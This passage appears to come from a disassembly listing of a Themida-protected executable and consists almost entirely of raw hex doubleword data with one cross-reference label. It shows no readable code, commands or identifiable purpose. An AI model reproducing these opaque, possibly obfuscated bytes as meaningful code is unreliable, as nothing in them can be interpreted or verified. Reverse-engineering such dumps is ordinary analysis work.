		dd 2491F383h, 4209DBBFh, 0AAA34082h, 0DB746215h, 634AA941h
		dd 431B429Fh, 2C498419h, 0BC000003h, 0E04DDD89h, 9FBB0BA0h
		dd 0D3D41348h, 9EBDF44h, 0FE401FAAh, 0D3391E83h, 9ED19CA6h
		dd 21CE63F3h, 1F52E1C6h, 0EC63E474h, 5DCDCB69h,	70D542D7h
		dd 981D5D66h, 792693D5h, 4BAA396Eh, 25B13AD6h, 29962B21h
		dd 0CD3AD3C4h, 9F2E7091h, 0FA32C26Ch, 608B2C8Bh, 0B3ADB95Eh
		dd 0B141EB1Eh, 35AD057Bh, 0D03CA96Eh, 58Dh, 346CFCA5h
		dd 8CC454FFh, 0E119A957h, 346CFCACh, 8AC252FFh,	8B38898Eh
		dd 0E28EC3FBh, 36E51A52h, 8F396EA6h, 0F483C7FFh, 0AF10F68Fh
		dd 8EFE431Fh, 3DCCDB0Ch, 0F3D26BD0h, 0DD1F1900h, 3B6EDB48h
		dd 5090FD8Dh, 18CC56BBh, 0DF3E1FAAh, 4644A969h,	8BBB5039h
		dd 0B91BAB56h, 0B26F194Ch, 0A9F0344Dh, 5DBF011Fh, 7BD26DF0h
		dd 3DCCDB0Ch, 31B4ED8h,	298EFD19h, 1452DA10h, 1399BDDh
		dd 259222CCh, 4BB848F2h, 4CB16E18h, 1452DA33h, 0EF5CBE00h
		dd 107D0DBCh, 0AA4A0380h, 30D17CF7h, 0C3530386h, 0DAB6CF34h
		dd 41831452h, 7D30A7DFh, 0C4B3EAA7h, 0C659F257h, 71A61452h
		dd 89C936C6h, 579227h, 0E7000002h, 412EED4Ch, 86E3841Dh
		dd 4A344F1h, 4FF31075h,	6481FB0h, 7974477h, 8EF360CFh
		dd 1FB08FF5h, 386B0042h, 0CE5E088Bh, 30BF2161h,	8FC55EC3h
		dd 0D0121FB0h, 898BF03Bh, 371FB08Fh, 0C3C7FD8Dh, 0FFFC922Dh
		dd 47F2692h, 0AB30000h,	620D427Ah, 0B7659AD2h, 0ABAEF27h
		dd 600D427Ah, 0FB9C98D0h, 0D1099946h, 2860F09Ch, 7CB444F3h
		dd 0D50D9D47h, 849D0291h, 511FAF17h, 0DB0C9C0Ch, 9DD03DCCh
		dd 0BED75EEEh, 8B1900F3h, 0E247B449h, 1FB0D0CDh, 386BD81Ah
		dd 57C6FE8Eh, 54E97924h, 7AE77721h, 81E09D47h, 0E67F2294h
		dd 0C861E84Dh, 151FAF3Bh, 730471D3h, 2AC55F8h, 10C33A72h
		dd 89AD4846h, 13Bh, 59DC8619h, 50BD1FAFh, 0ABE3731Dh, 3556DD3Ch
		dd 52374835h, 0D0D710BDh, 775ADC41h, 67A91FAAh,	778095FAh
		dd 78151FA9h, 0FE37EAD5h, 20B0AD41h, 40000000h,	3DCCDB0Ch
		dd 0AA0792D8h, 0A77B91Fh, 0A9E6F0A5h, 0C588251Fh, 419347FAh
		dd 9CC0ADh, 86500000h, 0ACDF4CDCh, 0CF026FFFh, 0F5289525h
		dd 8D1DC84Bh, 0B98CF32Bh, 71900F8h, 0B3ECD5Dh, 2464D161h
		dd 249121CFh, 8A394FE4h, 56BB4A5Dh, 1FACA078h, 0CBFE8DCFh
		dd 0A0FF8E1Eh, 52BE2ED3h, 0ADC35899h, 53BCB78h,	0FC9793E7h
		dd 626EDA47h, 0D0000003h, 2A5F9727h, 82B7EF7Fh,	0D70C44D4h
		dd 2A5F9727h, 0B9B5ED7Dh, 26B663E4h, 7D0DB9EEh,	0D1611045h
		dd 2ABA6499h, 0BA1FAEF2h, 1FAF16A1h, 86B9296Eh,	1BAB56D9h
		dd 58BD2AB9h, 1900F33Fh, 1F35CA0Ch, 78B040EAh, 9A2AD609h
		dd 0DC86B505h, 2ACDF4Ch, 2B0E372h, 18C7DD72h, 0E449D8CFh
		dd 1FAA00F6h, 39A61355h, 40C465DAh, 79CF292h, 0A90EF7A2h
		dd 11A1511Fh, 33C371A4h, 0B9940FC6h, 0AE1B883Bh, 0A90E3049h
		dd 26BBFD1Fh, 2E5A2ABh,	25B116A5h, 221903FDh, 8656A8E0h
		dd 0ACDF4CDCh, 8B3A7202h, 57BC4B5Ch, 1FAA0627h,	1075E224h
		dd 1FA9E00Bh, 655AF390h, 0AD418DB2h, 3F2Bh, 194CBB00h
		dd 0B242EC6Fh, 36A30545h, 33B461F6h, 0CA80E574h, 241FAA07h
		dd 0ACAECDC5h, 43D881CEh, 0FF64D113h, 1FA9331Ah, 5C6BE27Fh
		dd 33F18AEFh, 0FC3E1FA9h, 3E3FF267h, 0D4B8AD42h, 48000000h
		dd 0DF4CDC86h, 26FFFACh, 289525CFh, 83BB4BF5h, 0A8DFB514h
		dd 0E5C2DFBAh, 2B18EB50h, 0BC661900h, 24819AFFh, 0C4E1900h
		dd 933D72AAh, 0FEE99603h, 157707B6h, 9BB41986h,	68190024h
		dd 8BF88833h, 0E754E94Bh, 0A922EC82h, 1CCBFE1Fh, 92C7F78Ch
		dd 0A5E552E2h, 0E247B443h, 1FA92A49h, 254E493h,	66152BC0h
		dd 32972681h, 19057EA6h, 0A1D463A5h, 2C0545F4h,	0C5E881E6h
		dd 0F3351455h, 0EDF1E772h, 711E538Bh, 0E64BABE1h, 8AF7F5ECh
		dd 1D41Eh, 25B55E00h, 7D0DB8EDh, 0D2621045h, 25B5659Ah
		dd 7B0BB8EDh, 0F1564743h, 477CB444h, 9ED30B9Bh,	0F2275FEFh
		dd 3C80B848h, 152F48ADh, 0B7FC1FAFh, 54ED4C47h,	83533727h
		dd 0D481B449h, 2DD70C44h, 0C13659Dh, 0D83DCCDBh, 1FAA0792h
		dd 4ADA84B9h, 0CE3B9DDDh, 0A9E6AC69h, 275AE91Fh, 3F7FEC7Ch
		dd 0A91E2FAAh, 0ECB4194Ah, 95163C10h, 0DACBBDF0h, 0C237CCC8h
		dd 0AD42010Fh, 0D688h, 0DC861800h, 0FFACDF4Ch, 0CE9D026Fh
		dd 0DE1900F8h, 0F6730C71h, 7EC01900h, 7C0CB6E9h, 0D5650F44h
		dd 4E2CBB68h, 0F650E9h,	763C9D19h, 0E02951ADh, 0C670C527h
		dd 2789C936h, 7B66598h,	3F6B9194h, 76E34578h, 0A434E136h
		dd 213DA20Fh, 0B91FA907h, 0A755D886h, 0F020B517h, 197B0BBBh
		dd 1BAB578Ah, 0C3D96EAEh, 45D4D314h, 550A7E0h, 23B2F419h
		dd 1BB040F0h, 3ECE7BAEh, 44DD42AFh, 91145556h, 6FA4BA4Fh
		dd 0ECFC32C2h, 52F5ED03h, 0C779E5h, 0C26B0000h,	1AC5FA32h
		dd 6F1D528Ah, 0C272A7DFh, 18C5FA32h, 43545088h,	89C151FEh
		dd 0E018A854h, 346CFCABh, 8DC555FFh, 3C55BA49h,	91FAF14h
		dd 0D98654C4h, 43A21149h, 2BD834C9h, 383E1A9Bh,	0D27CAF44h
		dd 86B80A42h, 1EAE59DCh, 0A20F71B1h, 9B16C56Fh,	7101AEBDh
		dd 1343C404h, 1CCC215Dh, 7DDF1F8Ch, 56519645h, 7A275AC7h
		dd 0A83D7DEAh, 0B0CCAA43h, 4D16771Fh, 3E133092h, 1B4EBB1Dh
		dd 3AA9E171h, 259742DBh, 9025D833h, 0B623B35Dh,	5A91CC51h
		dd 0ACA11C23h, 8C1BAB55h, 8A1FAF59h, 28D20574h,	96EB2B98h
		dd 8FC257E7h, 0B5E855E5h, 85087505h, 0F49E63EAh, 4DF72C64h
		dd 2A8C1CCAh, 351BDh, 39FF0000h, 4DDD86C7h, 7303ADE0h
		dd 9424D306h, 0B848F427h, 0DB6B184Bh, 0FE8E3B6Eh, 1EAE5E91h
		dd 40D07EB1h, 65F5A0D3h, 89527FF8h, 4C281E2h, 83000000h
		dd 143304EAh, 24143124h, 5C241433h, 81E38953h, 4C3h, 4EB8100h
		dd 87000000h, 895C241Ch, 4C68242Ch, 8900005Bh, 0BE562404h
		dd 77811885h, 8103E6C1h, 0A71ABAC6h, 8BF5894Ah,	0C4812434h
		dd 4, 24048B54h, 4C481h, 82680000h, 8900007Bh, 408F242Ch
		dd 2434FF08h, 4C48358h,	53242C8Bh, 0C381E389h, 4, 4C381h
		dd 1C870000h, 0C1E95C24h, 1BFFFA60h, 7076053Ah,	0E8D1B815h
		dd 0C50306AFh, 316BE0FFh, 0E67C1F3Ch, 1A374F17h, 156B1E60h
		dd 128844B1h, 0CA1B40C4h, 923826A8h, 0CB2A0CBCh, 8DFA30C9h
		dd 43A4266Ch, 50F53899h, 24DC0AB9h, 79346ED3h, 0E7B20F0Ah
		dd 6097432h, 43F757F4h,	0BA04512Bh, 57925A7Ah, 8926453Bh
		dd 0CD26278Dh, 19F224E9h, 0F43B5450h
		db 0Dh,	6
word_5B6282	dw 5E8h			; DATA XREF: Themida_:0055C014o
		dd 2D000000h, 0BE632AB3h, 0E68158FCh, 6B974607h, 6A89C081h
		dd 79680000h, 0F00001Ah, 48Fh, 56BE6600h, 0DE815F25h, 4F025A7Dh
		dd 5AF830FFh, 0B4C281FCh, 0F4F227Ah, 88h, 0AEC28100h, 0F36F07Bh
		dd 286h, 81F78B00h, 43088BC2h, 10E85Bh,	81C0000h, 5B1BF9C3h
		dd 82DCBB2Ah, 49D6E374h, 0E9609A14h, 6,	6262B61Eh, 8B662296h
		dd 525961CAh, 8FF38B66h, 0DF8B6600h, 0E903E883h, 6, 8AD1B115h
		dd 8B4836D4h, 1EF83C8h,	0FF92850Fh, 0BE8FFFFh, 0AB000000h
		dd 88696636h, 0A436C9B9h, 5BF55DE1h, 0EAE78D8Dh, 0C08106AFh
		dd 2691FF5Ah, 16CD8D89h, 10E906A9h, 19000000h, 0A52E6744h
		dd 4C2A7E0h, 0DF4164FFh, 0C72F4857h, 0A90CE585h, 623C06h
		dd 15B58B00h, 0C706A90Ch, 0A911CD85h, 6, 0FFFA8B00h, 0A90F25B5h
		dd 999D8906h, 0FF06A91Ah, 0A9328195h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 0A507AB7Dh, 0FF006AF9h, 0A92D9595h, 0EBC08B06h, 62AE2D1Ch
		dd 0B8B7FC2Ah, 84916AF8h, 0A1678B6h, 95B005A4h,	0F37003Bh
		dd 79BF977Dh, 9E82Eh, 0DFCC0000h, 0B10E0C08h, 60297BF4h
		dd 61F88B66h, 6E95Eh, 11880000h, 11BC0568h, 604CC681h
		dd 9D8B0000h, 6A90475h,	17E6BFh, 0C19D8900h, 0FF06A907h
		dd 679BBB36h, 0F586118h, 0C081CAB7h, 74227828h,	0C359D8Bh
		dd 0E88106A9h, 0E0D766h, 25218D29h, 0C08106A9h,	5778903Bh
		dd 310689F8h, 0A90D1D9Dh, 0F4EE8106h, 8B653811h, 0A933F99Dh
		dd 0F0C68106h, 0E9653811h, 8, 8C95032Ah, 6EF63DD7h, 1EF81h
		dd 850F0000h, 15h, 7A9B531h, 1FE906A9h,	0F7000000h, 11BD3660h
		dd 3054664Bh, 0E9D68B98h, 0FFFFFF87h, 590FF359h, 0A508BE89h
		dd 388B5B1Ah, 8D8D72BAh, 6AFEC8Ah, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 51C35545h, 3935253Fh, 0B531B8C3h
		dd 6A90D6Dh, 16CD8D89h,	8E806A9h, 45000000h, 0A9CA9F6Dh
		dd 8B85BABDh, 85C75EF3h, 6A90CE5h, 63ACh, 25199D89h, 85C706A9h
		dd 6A911CDh, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0FEC35646h
		dd 99B58960h, 8B06A91Ah, 0A90F4D8Dh, 958B6106h,	6A931E5h
		dd 11C1B5FFh, 6A06A9h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 92D76BC3h, 12459531h, 95FF06A9h
		dd 6A93281h, 95FF006Ah,	6A92D95h, 2AEBC08Bh, 0A2EB8B9Ch
		dd 0F7DE2D2Dh, 6324A943h, 1DBAE510h, 0F543E30Fh, 4CD19BA1h
		dd 3E0811A8h, 66C6C02Ah, 4B03A0F9h, 26CAFA38h, 8D8D8E6Eh
		dd 6AFED5Bh, 4860Fh, 0BA660000h, 0D081298Dh, 112170A8h
		dd 16CD8D89h, 0B58B06A9h, 6A92095h, 0CE585C7h, 5C6006A9h
		dd 0C7FC0000h, 0A911CD85h, 6, 0ED858900h, 0FF06A907h, 0A9267DB5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 22F619BDh, 801CE73Bh, 95FFDCEBh,	6A93281h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 45C35646h
		dd 0BE933h, 0AC350000h,	2DC7862Bh, 3C307880h, 0FF006A23h
		dd 0A92D9595h, 0EBC08B06h, 0DD20B50Ah, 0ABA71F97h, 0E891E5C1h
		dd 0Fh,	8D4A41C9h, 5597A3EAh, 91644FA0h, 8BA3713Eh, 0A92C61B5h
		dd 81665806h, 81F1F0C9h, 7085C0h, 49B58B00h, 3306A921h
		dd 334FFDBh, 0BF08B966h, 31B58B5Ah, 8106A902h, 702646C2h
		dd 1AEA815Ah, 8B052C51h, 0A905958Dh, 3EEA8106h,	6654F579h
		dd 763AD781h, 18048F52h, 6E86060h, 66000000h, 7DB727D2h
		dd 0BD8B5F8Fh, 6A90649h, 6880F61h, 9000000h, 0A9160D9Dh
		dd 0FE8B6106h, 6604EB83h, 54B6D981h, 9020FB81h,	850FFFFFh
		dd 0FFFFFF99h, 14E9h, 675FEF00h, 0E68C8EC3h, 5F41E4C5h
		dd 0D5A99299h, 7E9C5013h, 0FE84Eh, 0B3560000h, 252BA125h
		dd 8E4326A9h, 0D4A0D40Ch, 1DB58B54h, 5B06A915h,	931B503h
		dd 0C38106A9h, 627Ah, 0CE9h, 15567400h,	0BCE37A70h, 99D02DD7h
		dd 1875BFFDh, 8D290000h, 6A91D55h, 0F1810B8Bh, 7E0FA45Eh
		dd 68D08157h, 5878DA98h, 64F7E981h, 0F5302D5h, 686h, 71850100h
		dd 5E06A92Dh, 7DC3E981h, 858B6B53h, 6A9329Dh, 79852351h
		dd 8F06A921h, 3EB8303h,	10E8h, 0D5FC9000h, 1CC3BD48h, 6096B030h
		dd 22FCC79Fh, 68C0FB9h,	81000000h, 0FFF4DFE8h, 664B5805h
		dd 0F4FF78Bh, 0FFFF9785h, 0F2B70FFFh, 0EFA28D8Dh, 0BD8B06AFh
		dd 6A928CDh, 0EF816660h, 5E93C60h, 1C000000h, 0DF5CD8DFh
		dd 0CD8D8961h, 6A06A916h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 8FB4C356h, 0E97A5041h
		dd 6, 0AE5C797Dh, 958BD643h, 6A91195h, 0CE585C7h, 63AC06A9h
		dd 9D290000h, 6A9008Dh,	11CD85C7h, 6A9h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 7C84A7C3h, 411ACB1Eh, 9589BD35h, 6A90219h, 45B5FFh
		dd 8E0F06A9h, 6, 559858Bh, 95FF06A9h, 6A93281h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 1AC35747h, 0EC71F15Ah
		dd 0B11F510Eh, 95FF006Ah, 6A92D95h, 29EBC08Bh, 8BA73FC3h
		dd 29F67E94h, 439D8FC0h, 0C7487FCFh, 0E4B8D3CFh, 12FE3A0Ah
		dd 1F055D19h, 9F0013C5h, 1A332BA7h, 2B218799h, 848D8DA5h
		dd 6A06AFF0h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0BC17C355h, 89D0B70Fh,	0A916CD8Dh
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 0F4CAA0AAh, 52719F7Ah, 0CE585C7h, 68E006A9h
		dd 0B5890000h, 6A90E61h, 11CD85C7h, 6A9h, 810F0000h, 5
		dd 0EEC78051h, 0F9B5FF5Bh, 6A06A927h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 5374C356h
		dd 0D3AB09FEh, 0D5BD8B14h, 0FF06A925h, 0A9328195h, 0C2805706h
		dd 6A5E93h, 2D9595FFh, 0C08B06A9h, 58AE28EBh, 0E4BBD292h
		dd 609D1AEFh, 0B87F7F1Ch, 0DF0FC9F0h, 8017BF15h, 42AD17C2h
		dd 9F2272F4h, 9B9378A9h, 3FC7F88Bh, 8D8D879Bh, 6AFF1C7h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 7DC35646h
		dd 0A9858979h, 0E806A904h, 0Ch,	8E82BEC3h, 8F8592FDh, 8DFEEF88h
		dd 16059D89h, 895B06A9h, 0A916CD8Dh, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 3694A321h
		dd 9E8BFB9h, 0BB000000h, 2D81FB16h, 0E5EE814Ah,	2C899589h
		dd 0C75806A9h, 0A90CE585h, 5F9006h, 8BF6600h, 0EDB866FCh
		dd 0CD85C7A8h, 6A911h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 0BECBC350h
		dd 6039364Bh, 267DB5FFh, 0DE806A9h, 0F7000000h,	97DF81FDh
		dd 0BE1684F1h, 0D24F7EFFh, 895AC18Bh, 0A912099Dh, 8195FF06h
		dd 6A06A932h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0C50C351h, 18A97FF6h, 870FAD2Ch
		dd 5, 0FBE68166h, 0FF006AA3h, 0A92D9595h, 0EBC08B06h, 2088AA0Ah
		dd 0F3AE8CB6h, 0E8EA2FDAh, 12h,	0A6698C47h, 4E6C3B71h
		dd 4F44C128h, 3E8620B8h, 9589DD98h, 6A90B55h, 6890F59h
		dd 29000000h, 0A92E759Dh, 0E4C18106h, 0F000059h, 4F68F7BFh
		dd 81000016h, 3B0F9DFh,	0B70F580Dh, 0F31FFF1h, 48Bh, 34BB6600h
		dd 8B665A30h, 0B2F281D9h, 0E801A0BFh, 9, 520B74EAh, 0ACEC2F2Ch
		dd 2D8D8910h, 5E06A922h, 8E81F281h, 0BD89113Eh,	6A90B11h
		dd 9A86EA81h, 0B5893362h, 6A92391h, 0BB661189h,	0E981A33Bh
		dd 0A1E5F5Dh, 5303B260h, 5D6115BFh, 81615A64h, 1E5F59C1h
		dd 0CB87BB0Ah, 0E883618Dh, 92850F01h, 0F9FFFFFFh, 0F31B8D8Dh
		dd 34B606AFh, 16CD8D89h, 0E85306A9h, 8,	4E5035A2h, 1954B584h
		dd 8F0Fh, 5B580000h, 999B58Bh, 85C706A9h, 6A90CE5h, 60F8h
		dd 11E59D8Bh, 85C706A9h, 6A911CDh, 0
		dd 0C47E2CBFh, 71B5FF57h, 0F06A931h, 68Fh, 49B58B00h, 0FF06A900h
		dd 0A9328195h, 55006A06h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 64ED1127h, 195893Fh, 2906A912h
		dd 0A90A218Dh, 0FF006A06h, 0A92D9595h, 0EBC08B06h, 250D7E7Ah
		dd 83CE71Bh, 5F9E8AE3h,	0A8054C1Ch, 1CB6B010h, 0F2B1E4F5h
		dd 8028B76Ch, 92C2DDEDh, 2B3DAA64h, 5FB06FB1h, 57BAB73Eh
		dd 3C121FDh, 61685D3Ah,	0BE9BF8AFh, 78F4402Ah, 4322EE34h
		dd 0F4A722AAh, 0CCD418C1h, 0C04852EFh, 0E70F41B4h, 0F486C660h
		dd 7E62E16h, 783869B6h,	45A253B8h, 227C8836h, 0BF225239h
		dd 0F39A245Ah, 5702DF86h, 5444715h, 9B21D710h, 0E8490251h
		dd 10h,	0AB312E3Bh, 0B139639Bh,	3803DF8Dh, 5E381FC2h, 0F88B5AFCh
		dd 6E18C281h, 8D890000h, 6A92D39h, 5B27FFB9h, 9DF18148h
		dd 8B485B3Ch, 6E802h, 623C0000h, 284ABAE0h, 5FF3B70Fh
		dd 0C590E881h, 0FE90399h, 7000000h, 0DBE0493Ah,	2FBADFEEh
		dd 0F4A8D9CAh, 0E8813980h, 1C09769Fh, 29419D8Bh, 0E88106A9h
		dd 57C78137h, 0C4D6E381h, 0F55007B0h, 8589028Fh, 6A91219h
		dd 6604EA83h, 33F0EF81h, 0A4850F49h, 60FFFFFFh,	0EACA8166h
		dd 8DD881E5h, 612EBD52h, 0BE8h,	5347AA00h, 67F15823h, 0C9EEBDF5h
		dd 5EB1ED80h, 14E9h, 1C509300h,	9477204Fh, 4C7DE24Ah, 345CBF14h
		dd 0B450DB32h, 6EC681D1h, 8B000074h, 89DB2BD6h,	0A925DD95h
		dd 3334FF06h, 58F98B66h, 6AAC081h, 8B662D96h, 78F081CEh
		dd 2B28888Fh, 0A92DAD8Dh, 9AF08106h, 8937563Bh,	0A926F59Dh
		dd 80605006h, 0B5334DECh, 6A91CFDh, 1E048F61h, 2A498D8Bh
		dd 0BD8B06A9h, 6A90E65h, 8A04EB83h, 44FB81EEh, 0FFFFF8Ch
		dd 0F85h, 5FF95600h, 22E9h, 6F3A2500h, 22F5CAA3h, 6E9h
		dd 0B9534500h, 0E9203572h, 0FFFFFF8Dh, 0FBDE4950h, 7CCAB889h
		dd 0E868DEE4h, 7, 0FD5D818Bh, 332367FFh, 0A9227D85h, 95315906h
		dd 6A90EE9h, 7052C181h,	0F1BA0000h, 5300001Bh, 0D799D8Bh
		dd 8B5B06A9h, 14E95139h, 71000000h, 0CD6F04B2h,	36693C56h
		dd 88C9A304h, 7F3FCB19h, 5B1B1978h, 6F6BEF81h, 0B58B218Fh
		dd 6A92209h, 0E07AF781h, 9D29062Ch, 6A91E11h, 2B4CC781h
		dd 9589281Ch, 6A90481h,	0A1858957h, 8F06A92Eh, 8800F01h
		dd 56000000h, 5F19D8Bh,	835B06A9h, 8B6604E9h, 850F4ADAh
		dd 0FFFFFF9Bh, 66D9D8Bh, 758206A9h, 690889A0h, 0A6DC7814h
		dd 8C6CF78Dh, 0A12E8636h, 25908635h, 254813D9h,	3C990530h
		dd 25142F03h, 2581023Fh, 98078630h, 23EBB3B1h, 5EA58930h
		dd 0E3908630h, 8C5E37B5h, 0D64CC836h, 0A45C0DA5h, 6444A234h
		dd 907BDF87h, 23EBB529h, 56DD03BDh, 0F56F809Ch,	0A08E76BBh
		dd 238D9081h, 25166E7Eh, 0F2498630h, 0AED42E72h, 0AE46A274h
		dd 1650F30h, 906FDE34h,	23E1B3B1h, 56D803BDh, 0F5ED809Ch
		dd 35B07EBBh, 0CC848630h, 25428638h, 2BA48996h,	6C908630h
		dd 0A0474F3Bh, 0DADB79C0h, 25128BD9h, 0E5940B30h, 9D822F7Dh
		dd 25428635h, 98AC65CFh, 233F73B5h, 0D3030BBDh,	379C809Fh
		dd 0E94B615h, 758247FFh, 690889A0h, 0A6DC7814h,	8C6CF78Dh
		dd 0A12E8636h, 25908635h, 254813D9h, 3C990530h,	0F305E983h
		dd 22B9A4h, 10E80000h, 0AB000000h, 0FDD4875h, 7402AAA3h
		dd 404DA063h, 91F8D71h,	0A91EED85h, 810F5E06h, 8, 0E19D8B57h
		dd 5B06A922h, 7115C681h, 0BD890000h, 6A92A71h, 0DE8BC933h
		dd 0BA3134FFh, 38A9105Ch, 91BB6658h, 32F08195h,	0E8659A5Fh
		dd 9, 0AE6159F7h, 0AAEF74EEh, 0FB8B6616h, 0B3E8815Bh, 0F26603Ch
		dd 0E881F9B7h, 0F283341h, 14C59D0Bh, 0F85006A9h, 890E048Fh
		dd 0A9208D9Dh, 6DBD8B06h, 8106A900h, 54743DE9h,	13E973h
		dd 0FFF00000h, 1A22CFB0h, 2221EC92h, 0C0E21F2Ch, 0F627EBCEh
		dd 39C181F0h, 0F735474h, 0F981FAB7h, 0FFFF8FA0h, 0FF82850Fh
		dd 9D8BFFFFh, 6A90CFDh,	0F8008D8Dh, 6A06AFh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 4CF594C3h
		dd 0A931FC8Ch, 2C31BD2Bh, 8D8906A9h, 6A916CDh, 0E85950Bh
		dd 85C706A9h, 6A90CE5h,	6554h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0C9C35141h,	7FB769EFh, 1CD1B589h
		dd 85C706A9h, 6A911CDh,	0
		dd 42DF8166h, 0D1B5FF27h, 0F06A917h, 68Ah, 71B52900h, 0E906A922h
		dd 0Ch,	0E67CAC98h, 9CA1BC35h, 0CA94F719h, 328195FFh, 6A06A9h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 53C4F3C3h, 0E35C9C8Eh, 0EBD9D8Bh, 6A06A9h, 2D9595FFh
		dd 0C08B06A9h, 0A0DF58EBh, 94390CE9h, 0DC938B84h, 656B77Ah
		dd 0E11756D6h, 0B072A28Eh, 0EF85B2F8h, 8131E475h, 1205DE8Bh
		dd 7A59F0Eh, 0F77213CFh, 2AFD9647h, 0E1A6190Dh,	16AF1F4Fh
		dd 0C39EE607h, 0F444D837h, 3722DA0Ch, 5AFA2841h, 0B3CBFDD1h
		dd 0B88D8008h, 0A5833B8Eh, 6CA74A23h, 0FE83C1Ah, 80000000h
		dd 8CFF9CDFh, 34DED881h, 0E9FC2464h, 0BA58E480h, 670CCD13h
		dd 65C0C081h, 0D08B0000h, 0BFh,	0F6816600h, 0C8B0EB5h
		dd 89BD8938h, 8106A933h, 497F87C1h, 65BD8922h, 8106A922h
		dd 0B1A3CDE9h, 0DE910h,	70060000h, 0FD6FF405h, 0E1738149h
		dd 814D5212h, 28FE7EC1h, 5840F52h, 0BA000000h, 684455Dh
		dd 9380C89h, 0A90201BDh, 9DB50906h, 8306A926h, 0AE803EFh
		dd 0D3000000h, 914E07EEh, 675CC060h, 0BFBE6676h, 0F4F5AE2h
		dd 0FF81D9BFh, 0FFFF9ADCh, 0FF8C850Fh, 0CABAFFFFh, 0E92515DEh
		dd 9, 1D22E619h, 0
		dd 90CE900h, 0B0480000h, 34D17774h, 0C25B01FEh,	4FED9390h
		dd 0E07A201Dh, 0B86CA7A4h, 0EFEC28C2h, 7A77AD49h, 0A0739D4h
		dd 9693C564h, 0D81EAC40h, 0C8F5F41Ch, 9F78C355h, 357FB22Fh
		dd 2DC20264h, 0FCA41594h, 43D507A6h, 15D521AFh,	0FB89FCA4h
		dd 0FCA415FBh, 0EB9CF4A5h, 699CB65h, 24D6F557h,	0A53158D9h
		dd 17CE9A81h, 52CB1450h, 0EF77D965h, 0FD8B1DD3h, 0F27EB0F0h
		dd 0E66CFFB0h, 0F286184Ch, 0FA6E9264h, 0FB5D0EF5h, 659736DCh
		dd 7BAD4CD2h, 0A41053E8h, 1EBBC463h, 2ACC5AECh,	76F5FA6Fh
		dd 0F61916C5h, 0A00F58FCh, 7699h, 0D49AE500h, 0B890A1F4h
		dd 33D51577h, 0BBF59099h, 59F3790Ch, 0BCFF9427h, 3B750F70h
		dd 3D71B3Eh, 50BEA6B9h,	0A000000h, 0E0EE876h, 0D98AFCA4h
		dd 99333777h, 5D8AD567h, 0A0D26B6Eh, 7756B457h,	0EDD46015h
		dd 4BFCA3E3h, 64EA7DAFh, 510093C5h, 68FB2DCBh, 0DF4FB5FAh
		dd 0B61963A6h, 39EBE81Ch, 6BF916B1h, 0FCA3E38Bh, 22B56415h
		dd 1CCBFD9Ch, 2377BAh, 33390000h, 48D46799h, 0FCA415ACh
		dd 5DF024C2h, 75083AD7h, 8C1F51EFh, 0E14B8EDDh,	83E94C75h
		dd 716EA23Ch, 816F5333h, 208061EFh, 1AAEF27Fh, 0FAFE6A8Ch
		dd 238536F5h, 0DF65F8A9h, 690F0C46h, 6C0092D0h,	0FAFF18DEh
		dd 75D788F5h, 88685AC0h, 2BD168F6h, 38BEBD6h, 0F09F3264h
		dd 0F18C148Eh, 0CE7D2CBFh, 6BD1343Bh, 0C7598B24h, 3398267Ch
		dd 0D01965D2h, 6B5DE234h, 0C9E84A5Ch, 0C5588A23h, 0A360AD39h
		dd 9921B5FCh, 1D57F0FDh, 0E32CDB8Ah, 0F83A99EDh, 58BD1FCCh
		dd 0E012ABECh, 6A53A5E3h, 0DC275E7Ch, 5CDF8892h, 1FAD3F7Eh
		dd 0FCA415D7h, 0F9AE10C1h, 629433DBh, 9F2744h, 2A8C3BCEh
		dd 9F27CD0Bh, 496ED002h, 9BB91BB9h, 2EFCh, 6A53BC00h, 99275E7Ch
		dd 0FCA4155Dh, 276C8A3Bh, 689A3307h, 0EE76084Ah, 79AB4A53h
		dd 0F68837E6h, 0A4158E68h, 0F7590AFCh, 1F98B7h,	535A0000h
		dd 275E7C6Ah, 0A4155D99h, 98B667FCh, 45489327h,	47874C6Ch
		dd 33EA2A8Ch, 84A689Ah,	629433EAh, 940143CFh, 922DFC9Bh
		dd 0AE47CD60h, 2E73E174h, 0AAE881C6h, 6AB96817h, 0DB7ADD27h
		dd 6C06ACA9h, 705BA638h, 14E2703Dh, 84FC9F6Eh, 72E38AD3h
		dd 2BB166C8h, 37CC5F91h, 0F03B88F4h, 0E2C57E5h,	0CB73D576h
		dd 57892831h, 696615C4h, 60922FB7h, 6519D9FEh, 537CA6B4h
		dd 0C8000000h, 6E50A634h, 8622FC9Fh, 0B40CBB4Eh, 3361A103h
		dd 85D06294h, 0ACAD7E60h, 54096BF4h, 8A1CD4EEh,	22D462F6h
		dd 7EFCA379h, 794CD033h, 0D07F8498h, 2465C06Eh,	8031F27Eh
